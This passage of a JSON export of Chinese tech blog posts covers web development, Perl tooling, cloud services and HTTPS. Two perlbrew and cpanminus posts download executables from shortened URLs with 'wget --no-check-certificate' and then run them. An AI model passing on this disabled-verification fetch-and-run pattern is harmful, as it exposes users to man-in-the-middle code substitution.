    "body": "雖然知道 <code>//host.domain/path</code> 這種 Relative Protocol 用法 (而且也用很久了)，不過最近在 irc.perl.org 上的 #plack 剛好有人提到，再加上最近剛好有人在探討安全性問題：「<a href=\"https://grepular.com/Bypassing_RequestPolicy_Using_Protocol_Relative_URLs\">Bypassing \"RequestPolicy\" Using Protocol Relative URLs</a>」，剛好可以拿出來再說一次。\r\n\r\n簡單來說就是「以 <code>/</code> 開頭的 URI 並非一定是 same origin，不可以以此當作 same origin 的判斷」。因為「<code>//ajax.googleapis.com/ajax/libs/jquery/1.5.0/jquery.min.js</code>」這種用法是正確的用法，表示保留 Protocol。\r\n\r\n另外講些題外話，這個用法也還是有缺點，用在 IE 的 css 時會造成重複抓取 (到 IE9 都還是)：「<a href=\"http://robertnyman.com/2010/02/18/css-files-downloaded-twice-in-internet-explorer-with-protocol-relative-urls/\">CSS files downloaded twice in Internet Explorer with protocol relative URLs</a>」，script 或是 relative path 都不會，只有 css 會...\r\n\r\n反過來說，因為 js 的部份大家都沒問題，所以當使用 <a href=\"//www.google.com/\">Google</a> 提供的 <a href=\"http://jquery.com/\">jQuery</a> 時，「永遠」都應該使用「<code>//ajax.googleapis.com/...</code>」，因為 <a href=\"//code.google.com/apis/libraries/\">Google Libraries API</a> 是同時支援 HTTP 與 HTTPS 的。",
    "title": "Protocol Preserve URI 的過濾"
  },
  {
    "id": "2475",
    "body": "<a href=\"http://jquery.com/\">jQuery</a> 的官方 blog 宣佈 1.5.1 正式出版：「<a href=\"http://blog.jquery.com/2011/02/24/jquery-151-released/\">jQuery 1.5.1 Released</a>」，除了 bugfix 外，也宣佈要開 1.6 Roadmap Meeting 討論下一個版本要做的事情，預定在 irc.freenode.net 的 #jquery-meeting 上開，時間是 3/7 (時區是 EST)。\r\n\r\n這次 Google CDN 上已經有 1.5.1 版，需要的人可以改過去了...",
    "title": "jQuery 1.5.1 釋出"
  },
  {
    "id": "2479",
    "body": "除了一堆人在抱怨以外，其他類似的服務使用量也增加了，像是 <a href=\"http://imgur.com/\">Imgur</a> 提供的數據：\r\n\r\n<a href=\"http://imgur.com/maCoP\"><img src=\"https://i.gslin.com/imgur/maCoPl.jpg\" alt=\"\" /></a>\r\n\r\n新增圖片的部份，差不多 40% 左右的成長幅度吧？",
    "title": "ImageShack 改變外連政策"
  },
  {
    "id": "2480",
    "body": "IE 的 <a href=\"http://www.quirksmode.org/css/condcom.html\">Conditional comments</a> 可以拿來建立對應的 class，可以減少 css 使用 IE hack 的情況 (有些 IE hack 會使得 css 的語法不正確，用工具壓縮後可能會出問題)，以 IE6 為例，下面的例子可以把 IE6 與 IE7 分別標上 <code>class=\"ie6\"</code> 或是 <code>class=\"ie7\"</code>：\r\n<blockquote><pre>&lt;!--[if IE 6]&gt;&lt;body class=\"ie6\">&lt;![endif]--&gt;\r\n&lt;!--[if IE 7]&gt;&lt;body class=\"ie7\">&lt;![endif]--&gt;\r\n&lt;!--[if gt IE 7]&gt;&lt;!--&gt;&lt;body&gt;&lt;!--&lt;![endif]--&gt;</pre></blockquote>\r\n這個方式不需要 javascript，而且是合法的 HTML (只有 IE 會看懂 comment 內的說明)...",
    "title": "用 IE 的 conditional comments 建立 class"
  },
  {
    "id": "2481",
    "body": "<a href=\"http://placekitten.com/\">{placekitten}</a> 這個站提供 API 產生圖片，讓你在規劃版面的時候會比較方便：\r\n<blockquote>Like this: <a href=\"http://placekitten.com/200/300\">http://placekitten.com/200/300</a>\r\nor: <a href=\"http://placekitten.com/200/300\">http://placekitten.com/g/200/300</a></blockquote>\r\n像是這樣：\r\n<img src=\"http://placekitten.com/200/300\" alt=\"\" />\r\n\r\n<img src=\"http://placekitten.com/g/200/300\" alt=\"\" />\r\n測了幾次，那個 <code>g</code> 應該是指灰階？記得之前有個站是產生純數字的 block image，有誰記得嗎？",
    "title": "產生任意大小的貓圖片..."
  },
  {
    "id": "2485",
    "body": "<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/BGRN8.webp\" /><img src=\"https://i.gslin.com/imgur/BGRN8.jpg\" alt=\"AWS Japan\" /></picture>\r\n\r\n<a href=\"http://aws.amazon.com/\">AWS</a> 公告了對日本的 Support：「<a href=\"http://aws.amazon.com/about-aws/whats-new/2011/03/02/announcing-aws-support-in-japanese/\">Announcing AWS Support in Japanese</a>」，並公告了新增東京的 Region：「<a href=\"http://aws.amazon.com/about-aws/whats-new/2011/03/02/announcing-asia-pacific-tokyo-region/\">Announcing the AWS Asia Pacific (Tokyo) Region</a>」。另外「<a href=\"http://aws.amazon.com/jp/\">Amazon Web Services (日本語)</a>」的網頁也同步啟用。\r\n\r\n相較於之前的新加坡 Region，主要是對南亞與印度地區的幫助比較明顯，日本與韓國到新加坡與美西比起來並沒有太大差異。但這次在日本設點後，AWS 在亞洲的強度就好很多...\r\n\r\n品質的部份就要繼續觀察了。另外，不論是頻寬還是租用 <a href=\"http://aws.amazon.com/ec2/\">EC2</a> 的價位上都比新加坡再貴了一些，不過都還是可以接受的程度，可以觀察日韓兩國的 VPS 被衝擊的狀況...",
    "title": "Amazon Web Services 東京！"
  },
  {
    "id": "2488",
    "body": "<a href=\"http://www.microsoft.com/\">微軟</a>推出了 <a href=\"http://ie6countdown.com/\">IE6 Countdown</a> 網站，希望可以把 IE6 的佔有率壓到 1% 以下。以目前網站上更新的數字，台灣是 10.7%...\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/8dhfk.webp\" /><img src=\"https://i.gslin.com/imgur/8dhfk.jpg\" alt=\"\" /></picture>\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/ZO0l3.webp\" /><img src=\"https://i.gslin.com/imgur/ZO0l3.jpg\" alt=\"\" /></picture>\r\n\r\n不過上面的數字是以 2011/2/28 的數據產生出來的，這天雖然是星期一，但台灣剛好是國定假日，使用公司電腦的人少很多，這使得使用 IE 的人也少很多 (可以參考 <a href=\"http://www.statcounter.com/\">StatCounter</a> 的數據)。如果抓平常日的數字，大約在 14% 上下，超過印度的 12.3%。\r\n\r\nIE6 是 2001 年 8 月 27 日出版，快要滿十年了，不知道有沒有機會在十週年生日前 (七月的報表) 看到他 5% 以下...\r\n\r\n如果可以不用管 IE6 的話，有什麼好處呢？先不論 bug 的問題，光是網頁設計時的 css selector 就多出許多可以用：(圖片來自「<a href=\"http://kimblim.dk/css-tests/selectors/\">CSS selectors and pseudo selectors browser compatibility</a>」)\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/07sbTl.webp\" /><img src=\"https://i.gslin.com/imgur/07sbTl.jpg\" alt=\"\" /></picture>\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/l5xfpl.webp\" /><img src=\"https://i.gslin.com/imgur/l5xfpl.jpg\" alt=\"\" /></picture>\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/eW8djl.webp\" /><img src=\"https://i.gslin.com/imgur/eW8djl.jpg\" alt=\"\" /></picture>",
    "title": "微軟推出 IE6 Countdown 網站"
  },
  {
    "id": "2490",
    "body": "有人在 <a href=\"http://www.linode.com/\">Linode</a> 的 forum 上提到 <a href=\"http://forum.linode.com/viewtopic.php?t=2978&amp;postdays=0&amp;postorder=asc&amp;start=112\">Linode 去申請了 IPv6 位置</a>：「<a href=\"http://whois.arin.net/rest/net/NET6-2600-3C00-1\">NET6-2600-3C00-1</a>」，一個超大的 /30 耶...\r\n\r\n不過 Linode 的 staff 也出來說，目前還沒有 ETA，請大家再等等... 再等幾個月看看吧？有 native IPv6 總是比較痛快...",
    "title": "Linode 總算是去申請 IPv6 位置了..."
  },
  {
    "id": "2491",
    "body": "<a href=\"http://www.whatwg.org/specs/web-apps/current-work/#event-hashchange\">hashchange</a> 是 HTML5 event，紀錄一下目前支援的情況：\r\n<ul>\r\n\t<li>IE 的部份，IE8 之後才有支援：「<a href=\"http://msdn.microsoft.com/en-us/library/cc288209%28VS.85%29.aspx\">onhashchange Event</a>」。</li>\r\n\t<li>Firefox 則是 3.6 之後才有支援：「<a href=\"https://developer.mozilla.org/en/DOM/window.onhashchange\">window.onhashchange</a>」。</li>\r\n\t<li>Webkit 是 528 版以後 (2009/08/07 的 ticket)：「<a href=\"https://bugs.webkit.org/show_bug.cgi?id=21605\">Support for HTML5 \"hashchange\" event</a>」，對應的版本是 <a href=\"http://www.google.com/chrome\">Google Chrome</a> 1.0.154 之後，以及 <a href=\"http://www.apple.com/safari/\">Safari</a> 4.0+。</li>\r\n</ul>\r\n目前 IE6/IE7 常見的模擬方式是透過 hidden iframe 做類似的效果...\r\n\r\n另外在偵測瀏覽器是否有支援 hashchange 可以利用「<a href=\"http://perfectionkills.com/detecting-event-support-without-browser-sniffing/\">Detecting event support without browser sniffing</a>」這篇說明的方式偵測是否有支援特定的 event，可以避免使用 browser sniffing。",
    "title": "window 的 hashchange (onhashchange) 事件"
  },
  {
    "id": "2493",
    "body": "<strong>Update</strong>：這篇內容有問題，請參考「<a href=\"http://blog.gslin.org/archives/2011/03/08/2496/%E9%9D%9E-root-%E7%92%B0%E5%A2%83%E4%B8%8B%E7%9A%84-appperlbrew-%E8%88%87-appcpanminus\">非 root 環境下的 App::perlbrew 與 App::cpanminus</a>」這篇新的說明。\r\n\r\n照 <a href=\"http://search.cpan.org/dist/App-perlbrew/\">App::perlbrew</a> 的說明，在系統已經有 <a href=\"http://www.perl.org/\">Perl</a> 的情況下，不需要先用 CPAN 裝 App::perlbrew，可以直接抓 App::perlbrew 的執行檔：\r\n<blockquote><code>wget --no-check-certificate http://xrl.us/perlbrew</code> 或是\r\n<code>curl http://xrl.us/perlbrew &gt; perlbrew</code></blockquote>\r\n其中 <a href=\"http://www.gnu.org/software/wget/\">wget</a> 要加上 <code>--no-check-certificate</code> 是因為檔案實際是放在 <a href=\"https://github.com/\">GitHub</a> 上，而 GitHub 目前是強制 HTTPS。\r\n\r\n接下來直接執行 perlbrew 相關的指令，通常就是：\r\n<blockquote><code>chmod 755 perlbrew\r\n./perlbrew init\r\n./perlbrew install perl-5.12.3\r\n./perlbrew switch perl-5.12.3</code></blockquote>\r\n後面的就跟之前提到的一樣了。這樣要建立自己的 Perl 環境就更簡單了...",
    "title": "App::perlbrew 另外的裝法"
  },
  {
    "id": "2494",
    "body": "之前是用 <a href=\"https://addons.mozilla.org/firefox/addon/force-content-type/\">Force Content-Type</a> 強制把 <code>application/json</code> 轉成 <code>text/plain</code> 然後直接看原始輸出的 JSON document。但如果遇到 JSON 很長一串的時候 (把空白及換行抽掉)，看起來就很麻煩...\r\n\r\n<a href=\"http://www.mozilla.com/firefox/\">Firefox</a> 上的 <a href=\"https://addons.mozilla.org/firefox/addon/jsonview/\">JSONView</a> 可以同時處理 <code>application/json</code> 會跳出下載頁，以及排版的問題。以「<a href=\"http://emma.pixnet.cc/album/elements?set_id=15345490&amp;user=nico\">emma.pixnet.cc/album/elements?set_id=15345490&amp;user=nico</a>」這個 JSON 輸出來說，這樣就好讀很多：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/wJQDnl.webp\" /><img src=\"https://i.gslin.com/imgur/wJQDnl.jpg\" alt=\"\" /></picture>\r\n\r\n不過會把 url 轉成可點選連結的功能好像關不掉...",
    "title": "用 JSONView 看 JSON 資料..."
  },
  {
    "id": "2496",
    "body": "跟 gugod 討論後發現我之前所寫的方式有問題，所以重寫一篇...\r\n\r\n首先是安裝 <a href=\"http://search.cpan.org/dist/App-perlbrew/\">App::perlbrew</a> 的方式：\r\n<blockquote><code>wget --no-check-certificate http://xrl.us/perlbrew\r\nchmod a+x perlbrew\r\n./perlbrew install\r\n./perlbrew init</code></blockquote>\r\n這樣在自己的目錄下就會有 perlbrew 了，接下來是設定環境變數：\r\n<blockquote><code>source ~/perl5/perlbrew/etc/cshrc # (for csh/tcsh)\r\nsource ~/perl5/perlbrew/etc/bashrc # (for bash)</code></blockquote>\r\n並將自己的 <code>~/.cshrc</code> 或是 <code>~/.bashrc</code> 裡加入上面的 <code>source</code> 指令。\r\n\r\n原來下載的 perlbrew 就可以砍掉了，然後把 Perl 5.12.3 的環境建好：\r\n<blockquote><code>rm perlbrew\r\nperlbrew install perl-5.12.3\r\nperlbrew switch perl-5.12.3</code></blockquote>\r\n接著是用 <a href=\"http://search.cpan.org/dist/App-cpanminus/\">App::cpanminus</a> (standalone) 安裝 App::cpanminus (套件)：\r\n<blockquote><code>wget --no-check-certificate -O cpanm http://cpanmin.us/\r\nchmod a+x cpanm\r\n./cpanm -n App::cpanminus</code></blockquote>\r\n然後一樣把下載下來的 <code>cpanm</code> 砍掉：\r\n<blockquote><code>rm cpanm</code></blockquote>\r\n這樣可以在不碰到「<a href=\"http://search.cpan.org/dist/CPAN/\">CPAN</a>」這個大模組的情況下，把基本的系統裝好...",
    "title": "非 root 環境下的 App::perlbrew 與 App::cpanminus"
  },
  {
    "id": "2498",
    "body": "雖然現在跑到台東玩，不過還是趁著在民宿休息的時候來寫一些東西好了...\r\n\r\n剛剛看到 <a href=\"http://pinboard.in/\">Pinboard</a> 寫了一篇關於去年 12 月時 <a href=\"http://www.yahoo.com/\">Yahoo!</a> 內部簡報被流出時 (參考去年寫的「<a href=\"http://blog.gslin.org/archives/2010/12/17/2392/yahoo-%E8%A6%81%E9%97%9C%E9%96%89-delicious\">Yahoo! 要關閉 Delicious</a>」) 所帶來的流量，以及對他們的影響：「<a href=\"http://pinboard.in/blog/173/\">Anatomy of a Crushing</a>」。\r\n\r\n裡面包括了架構，兩台 <a href=\"http://www.digitalone.com/\">DigitalOne</a> 的 server 當作主力，以及一台 <a href=\"http://www.serverbeach.com/\">ServerBeach</a> 的 server 當作 slave (看起來是順便當作異地備份以及一些雜物服務)：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/fsZCl.webp\" /><img src=\"https://i.gslin.com/imgur/fsZCl.jpg\" alt=\"\" /></picture>\r\n\r\n另外也提到了 <a href=\"http://dev.mysql.com/\">MySQL</a> 的 varchar index 的老問題...",
    "title": "Pinboard (書籤網站) 被 Yahoo! Sunset 影響的情況..."
  },
  {
    "id": "2500",
    "body": "這是實際用過一堆手機程式後的感想 XD\r\n\r\n不覺得直接在捷運台北車站放一個 SSID 與某些公開讓大家免費使用的 Wifi，就可以收集到很多東西嗎...？\r\n\r\n另外要注意的是很多便宜的 SSL Certificate 是沒有辦法過 <a href=\"http://www.android.com/\">Android</a> 與 <a href=\"http://www.apple.com/iphone/\">iPhone</a> 內建瀏覽器的認證的，要買之前先試著找 Demo Site 測試看看會比較保險。據說大多數的 wildcard ssl 都可以過認證，不過這也只是路邊聽來的，測過才是王道...\r\n\r\n奇怪，我記得之前有看到有一張表格是列出手機上瀏覽器支援的情況，一時間要找卻找不到了...",
    "title": "所有的手機應用程式都應該要上 SSL (另一個說法，HTTPS)"
  },
  {
    "id": "2501",
    "body": "<a href=\"http://simonwillison.net/\">Simon Willison</a> 轉了一篇文章，提到某個網站用 meta tag 關掉 DNS Prefetch 後，每個月省下 USD$1600：「<a href=\"http://www.pinkbike.com/news/DNS-Prefetching-implications.html\">DNS Prefetching Implications</a>」。\r\n\r\n會這麼貴的主要原因在於 DNS Prefetch 是利用「浪費資源」加速，設計上本來就不需要很快的反應時間，所以不應該讓他上昂貴的 Anycast-based DNS service。更何況 Anycast-based DNS service 應該是在整個系統都 tune 到極致後，壓榨最後一丁點效能的武器...\r\n\r\n自己架設 DNS server，或是透過 Domain Registar and/or Hosting 公司代管，效果其實都不差。如果想要測試 Anycast-based DNS service，除了 <a href=\"http://aws.amazon.com/route53/\">Route53</a> 可以玩看看以外，<a href=\"http://www.easydns.com/\">EasyDNS</a> 也有提供平價的服務 (而且可以是 slave server)，要測試的人可以測看看...",
    "title": "DNS Prefetch 的利弊"
  },
  {
    "id": "2504",
    "body": "把桌機換成 <a href=\"http://www.ubuntu.com/\">Ubuntu</a> 10.10 Desktop amd64 版，比以以前有一堆東西要自己設定，裝好到現在還沒遇到問題，本來預期的問題也都隨著時間而解決了：\r\n<ul>\r\n\t<li>Linux amd64 下 rmvb 的支援，不論是內建的 <a href=\"http://projects.gnome.org/totem/\">Totem</a> 還是 <a href=\"http://smplayer.sourceforge.net/\">smplayer</a> 都沒問題，而且 smplayer 還可以加速播放 (聲音頻率不會跑掉)，跟之前在 Windows 下用 KMPlayer 的模式一樣...</li>\r\n\t<li>Linux amd64 下 <a href=\"http://www.adobe.com/products/flashplayer/\">Flash Player</a> 的支援也已經 okay 了，目前版本也已經是 10.2，該有的都有了...</li>\r\n</ul>\r\n繼續研究...",
    "title": "Ubuntu 10.10 amd64 版"
  },
  {
    "id": "2505",
    "body": "已經好幾次遇到「根本不知道有哪些優惠」的情況了，去找 feed 沒幾家有做，只好自己做一個來生 Atom feed：「<a href=\"http://feeds.hasname.com/\">Useful Feeds</a>」。\r\n\r\n網站的程式碼放在 <a href=\"https://github.com/\">GitHub</a> 上，要改的人可以開 ticket 或是直接 fork + pull-request，目前還有很多地方需要修正 (像是 Atom feed validator 問題)。\r\n\r\n出了信用卡的以外，之後如果有遇到需要加的功能會再加上去...",
    "title": "銀行 (信用卡) 的最新優惠消息..."
  },
  {
    "id": "2506",
    "body": "<a href=\"http://www.percona.com/\">Percona</a> 的 <a href=\"http://www.xaprb.com/blog/\">Baron Schwartz</a> 在 <a href=\"http://aws.amazon.com/\">AWS</a> <a href=\"http://aws.amazon.com/rds/\">RDS</a> 能提供最大台的 database (68GB memory + 26 ECUs) 上測試 insert 的效能：「<a href=\"http://www.mysqlperformanceblog.com/2011/03/15/mysql-on-amazon-rds-part-1-insert-performance/\">MySQL on Amazon RDS part 1: insert performance</a>」\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/RERI0.webp\" /><img src=\"https://i.gslin.com/imgur/RERI0.jpg\" alt=\"\" /></picture>\r\n\r\n數字是 Per Minute，換算成常用的 Per Second 要記得除以 60。大約是 <del>4k~5k</del> 40k~50k queries/sec 的數量。這個效能不知道能不能算「好」...",
    "title": "AWS RDS 的 INSERT 效能..."
  },
  {
    "id": "2508",
    "body": "<a href=\"https://twitter.com/\">Twitter</a> 剛剛公告，使用者現在可以選擇強制使用 <a href=\"http://zh.wikipedia.org/wiki/HTTPS\">HTTPS</a>：「<a href=\"http://blog.twitter.com/2011/03/making-twitter-more-secure-https.html\">Making Twitter more secure: HTTPS</a>」。\r\n\r\n<img src=\"https://i.gslin.com/imgur/PF13ml.jpg\" alt=\"\" />\r\n\r\n之前是透過 <a href=\"https://addons.mozilla.org/firefox/addon/force-tls/\">Force-TLS</a> 強制設定 <code>twitter.com</code> 與 <code>api.twitter.com</code> 強制使用 HTTPS。現在官方提供這個功能等於多了一層保護...\r\n\r\n目前還不包括 3rd-party 應用程式，只有網站版本與 <a href=\"http://www.apple.com/iphone/\">iPhone</a> 及 <a href=\"http://www.apple.com/ipad/\">iPad</a> 的官方 client。",
    "title": "Twitter 提供使用者「強制使用 HTTPS」的選項"
  },
  {
    "id": "2512",
    "body": "雖然看到別人提很多次了，但一直都沒有試著去看看...\r\n\r\n剛剛把 <a href=\"http://search.cpan.org/dist/App-cpanoutdated/\">App::cpanoutdated</a> 裝起來，剛好跟 <a href=\"http://search.cpan.org/dist/App-cpanminus/\">App::cpanminus</a> 配合一起升級：\r\n<blockquote><code>cpan-outdated -p | cpanm -n</code></blockquote>\r\n這樣完全不需要用到 cpan (跑 <code>upgrade /.*/</code>)。",
    "title": "更新 CPAN module 的方式..."
  },
  {
    "id": "2513",
    "body": "<a href=\"http://search.cpan.org/dist/App-perlbrew/\">Perlbrew</a> 0.18 其中一項很重要的功能，是在 install perl 時可以使用 <code>-j</code> 的參數，像是這樣：\r\n<blockquote><code>perlbrew --force install -j 4 perl-5.12.3</code></blockquote>\r\n<code>-j</code> 這個參數會傳給 make，同時跑的 job 數量。(make 會處理 dependency 問題，理論上不會有問題)\r\n\r\n在 <a href=\"http://www.linode.com/\">Linode</a> 512 上面 (<a href=\"http://www.debian.org/\">Debian</a> 64bits) 只用了 7 分鐘就把 <a href=\"http://www.perl.org/\">Perl</a> 5.12.3 裝完了 (之前是 21 分鐘)，時間就是金錢啊... 細節可以參考 <a href=\"http://cpansearch.perl.org/src/GUGOD/App-perlbrew-0.18/Changes\">0.18 的 Changes</a> 的說明。",
    "title": "加速 Perlbrew 安裝 Perl 的速度"
  },
  {
    "id": "2516",
    "body": "純粹實際驗證用：\r\n\r\n<script src=\"http://pastie.org/1692550.js\"></script>\r\n\r\n因為 Carp 預設會將一些函式 export 到現有的 namespace 下，如果不使用 <a href=\"http://search.cpan.org/dist/namespace-clean/\">namespace::clean</a> 或是 <a href=\"http://search.cpan.org/dist/namespace-autoclean/\">namespace::autoclean</a> 這類工具幫你清除，會造成 namespace 與 object 內帶有這些函式。\r\n\r\n結果是：\r\n\r\n<script src=\"http://pastie.org/1692555.js\"></script>\r\n\r\n可以看到沒有 B 沒有 clean 導致外面 (package main) 可以看到 <code>carp</code>。\r\n\r\n其實這篇是要測 <a href=\"http://pastie.org/\">pastie</a> 是不是比 <a href=\"https://gist.github.com/\">Gist</a> 好用... :o",
    "title": "多使用 namespace::clean 與 namespace::autoclean"
  },
  {
    "id": "2517",
    "body": "在 <a href=\"http://slashdot.org/\">Slashdot</a> 上看到 <a href=\"http://stallman.org/\">Richard Stallman</a>  在 2003 年 1 月對於 GPLv2 header file (當時只有 <a href=\"http://www.gnu.org/licenses/gpl-2.0.html\">GPLv2</a>，沒有 <a href=\"http://www.gnu.org/licenses/gpl-3.0.html\">GPLv3</a>) 對於作品是否有「感染力」的看法：「<a href=\"http://linux.slashdot.org/story/11/03/20/1529238/RMS-On-Header-Files-and-Derivative-Works\">RMS On Header Files and Derivative Works</a>」，也就是「如果我用了 GPLv2 的 header file，是否我的 code 因此就要使用 GPLv2」的問題。\r\n\r\nRichard Stallman 在找了律師談過之後，引用 header file 不足以成為 GPLv2 裡面定義的「衍生作品」(Derivative work)：\r\n<blockquote>Our view is that just using structure definitions, typedefs, enumeration constants, macros with simple bodies, etc., is NOT enough to make a derivative work.</blockquote>\r\n這篇剛好回應最近有人質疑 <a href=\"http://www.android.com/\">Android</a> 因為使用 GPLv2 header file 而軟體本身使用非 GPLv2 授權的問題：「<a href=\"http://nexus404.com/Blog/2011/03/18/android-faces-serious-linux-copyright-copyleft-issues-with-gpl-google-may-have-misunderstood-gpl-provisions-in-stating-androids-linux-code-contains-no-copyrightable-information/\">Android Faces Serious Linux Copyright / Copyleft Issues with GPL</a>」：\r\n<blockquote>Google used Linux headers, but did not release Android under the same GPL2 license, which is the most basic precept of GPL. (Android is released under the Apache Commercial License.)</blockquote>",
    "title": "header file 與 GPL(v2) 的「衍生作品」..."
  },
  {
    "id": "2519",
    "body": "<a href=\"http://www.ubuntu.com/\">Ubuntu</a> 10.10 系統內的 <a href=\"http://www.virtualbox.org/\">VirtualBox</a> 是 OSE 版本 (Open Source Edition)，先到 VirtualBox 官方網站下載對應的 deb 檔：「<a href=\"http://www.virtualbox.org/wiki/Linux_Downloads\">Download VirtualBox for Linux Hosts</a>」，像我的電腦是跑 10.10 amd64 版本。\r\n\r\n接下來是把系統內的 VirtualBox 移除：\r\n<blockquote><code>apt-get purge virtualbox</code></blockquote>\r\n移除完畢以後將剛剛下載的 deb 檔安裝進系統：(後面的檔名自己變更)\r\n<blockquote><code>dpkg -i virtualbox-4.0_4.0.4-70112~Ubuntu~maverick_amd64.deb</code></blockquote>\r\n然後把自己加到 <code>vboxusers</code> 這個 group 內 (我是直接改 <code>/etc/group</code>)，改完後重新登入，然後：\r\n<ul>\r\n\t<li>在 Guest OS 關機狀態下，設定允許讓 Guest OS 使用的 USB 裝置。</li>\r\n\t<li>將 Guest OS 內的 Windows XP 開機後，安裝 VirtualBox 提供的 Guest Additionals。</li>\r\n</ul>\r\n接下來就可以用 IE 到網路銀行安裝 ActiveX，然後測試讀卡機是否正常運作...",
    "title": "Ubuntu 上跑 VirtualBox 連接 USB 裝置..."
  },
  {
    "id": "2520",
    "body": "<a href=\"http://www.google.com/\">Google</a> 推出了 VP8 編碼與解碼的硬體設計，代號「Anthill」：「<a href=\"http://blog.webmproject.org/2011/03/introducing-anthill-first-vp8-hardware.html\">Introducing \"Anthill,\" the First VP8 Hardware Encoder IP Release</a>」。\r\n\r\n透過 Anthill，對於 GPU 的 loading 及電源消耗會大幅降低：(這是在 <a href=\"http://www.arm.com/\">ARM</a> 平台上的估算)\r\n\r\n<img src=\"https://i.gslin.com/imgur/YbwcV.jpg\" alt=\"\" />\r\n\r\n不過比較奇怪的是只有寫 H1 encoder RTL 不收錢？重點在 decoder 吧？\r\n<blockquote>Google does not require payment of any license fee or royalty in connection with use of the H1 encoder RTL.</blockquote>\r\n另外 source code 不直接公開，必須填表格索取...",
    "title": "Google 推出 VP8 的硬體設計"
  },
  {
    "id": "2522",
    "body": "在 <a href=\"https://twitter.com/\">Twitter</a> 上又看到有人在講 HTTPS 的資料無法 persistent cache (寫入硬碟保存)，所以當瀏覽器重開後就消失，如果能避免使用就應該避免...\r\n\r\n但實際上並不是這樣，HTTPS 的資料是「可以」被 persistent cache 的，只是預設不會這樣作。\r\n\r\n只要在 response header 裡告訴瀏覽器 <code>Cache-Control: public</code>，瀏覽器就會 persistent cache。因為你已經跟瀏覽器說這個檔案是公開資料，就算是透過 HTTPS 傳輸也可以寫到硬碟裡保存。在「<a href=\"http://blog.httpwatch.com/2009/01/15/https-performance-tuning/\">HTTPS Performance Tuning</a>」這篇文章裡有提到 IE 與 Firefox 都沒有問題...\r\n\r\n有用 HTTPS 的可以檢查看看是不是能夠加速...",
    "title": "HTTPS 的 Persistent Cache..."
  },
  {
    "id": "2523",
    "body": "<a href=\"http://www.mozilla.com/firefox/\">Firefox</a> 4 正式版快要放出來了，這陣子開始強迫自己用 Firefox 4，結果覺得奇怪「怎麼這些網站不提供 RSS 啊」，後來才想到很久前有報導提到 Firefox 4 把 RSS icon 拔掉：「<a href=\"http://technophilia.madharasan.com/2123/where-is-the-rss-feed-icon-in-firefox-4\">Where is the RSS Feed Icon in Firefox 4?</a>」。\r\n\r\n這代表一定有人會寫 extension 把 RSS icon 補回去，測過以後看起來「<a href=\"https://addons.mozilla.org/firefox/addon/rss-icon/\">RSS Icon</a>」是個還不錯的選擇，跟之前沒什麼差異...",
    "title": "補回 Firefox 4 取消的 RSS Icon"
  },
  {
    "id": "2524",
    "body": "很久前就把 <a href=\"http://www.htc.com/www/product/desire/overview.html\">HTC Desire</a> Root 了，只是一直沒刷 ROM，昨天去 <a href=\"http://www.xda-developers.com/\">XDA</a> 找個比較大而且有支援中文的 ROM 刷下去，順便找一些軟體...\r\n\r\n其中一個需求是 Screenshot，不少軟體都必須是 Root 過後的手機才能抓取，在網路上看了看，ShootMe 這套似乎是還不錯的選擇，搖晃手機就會自動抓取畫面存起來：「<a href=\"https://market.android.com/details?id=com.bw.picme.local\">ShootMe (Screen Grabber)</a>」。\r\n\r\n這張是在 <a href=\"http://www.flickr.com/\">Flickr</a> 上：\r\n\r\n<a href=\"http://www.flickr.com/photos/gslin/5548680552/\"><img src=\"http://farm6.static.flickr.com/5301/5548680552_4aec21deb3_b.jpg\" alt=\"\" /></a>\r\n\r\n另外這張是在 <a href=\"http://imgur.com/\">Imgur</a> 上：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/rDQau.webp\" /><img src=\"https://i.gslin.com/imgur/rDQau.jpg\" alt=\"\" /></picture>\r\n\r\n存起來之後用「相機」的功能丟到網路上即可...",
    "title": "用 ShootMe 拍 Android 手機上的 Screenshot"
  },
  {
    "id": "2525",
    "body": "在 <a href=\"http://engineering.twitter.com/\">Twitter Engineer Blog</a> 上的「<a href=\"http://engineering.twitter.com/2011/03/great-migration-winter-of-2011.html\">The Great Migration, the Winter of 2011</a>」這篇文章裡提到了 <a href=\"https://twitter.com/\">Twitter</a> 預定搬機房的行程，裡面有些數據...\r\n\r\n目前維護的人數：\r\n<blockquote>Today, the feed and care of Twitter requires more than 200 engineers to keep the site growing and running smoothly.</blockquote>\r\n機器數量超過 1000 台：(用 <strong>thousands</strong> 這個詞)\r\n<blockquote>Simultaneously, our operations engineers divided into new teams and built new processes and software to allow us to qualify, burn-in, deploy, tear-down and monitor the thousands of servers, routers, and switches that are required to build out and operate Twitter.</blockquote>\r\nTweet 的資料量：\r\n<blockquote>Once we proved our replication strategy worked, we built out the full Twitter stack, and copied all 20TB of Tweets, from @jack’s first to @honeybadger’s latest Tweet to the second data center.</blockquote>",
    "title": "Twitter 新機房，以及數據..."
  },
  {
    "id": "2526",
    "body": "在 <a href=\"http://news.ycombinator.com/\">Hacker News</a> 上看到這個 url：「<a href=\"http://graph.facebook.com/http://news.ycombinator.com\"><code>http://graph.facebook.com/http://news.ycombinator.com</code></a>」，看起來就是 <a href=\"http://developers.facebook.com/docs/reference/plugins/like/\">Facebook Like</a> 的 JSON output：\r\n<blockquote><pre>{\r\n   \"id\": \"http://news.ycombinator.com\",\r\n   \"shares\": 930\r\n}</pre></blockquote>\r\n測了一下，發現可以吃 JSONP：「<a href=\"http://graph.facebook.com/http://news.ycombinator.com?callback=test\"><code>http://graph.facebook.com/http://news.ycombinator.com?callback=test</code></a>」：\r\n<blockquote><pre>test({\r\n   \"id\": \"http://news.ycombinator.com\",\r\n   \"shares\": 930\r\n});</pre></blockquote>\r\n暫時還想不到能拿來做什麼... 不過看起來蠻方便的 :o",
    "title": "Facebook Like 的 JSON/JSONP 數據..."
  },
  {
    "id": "2527",
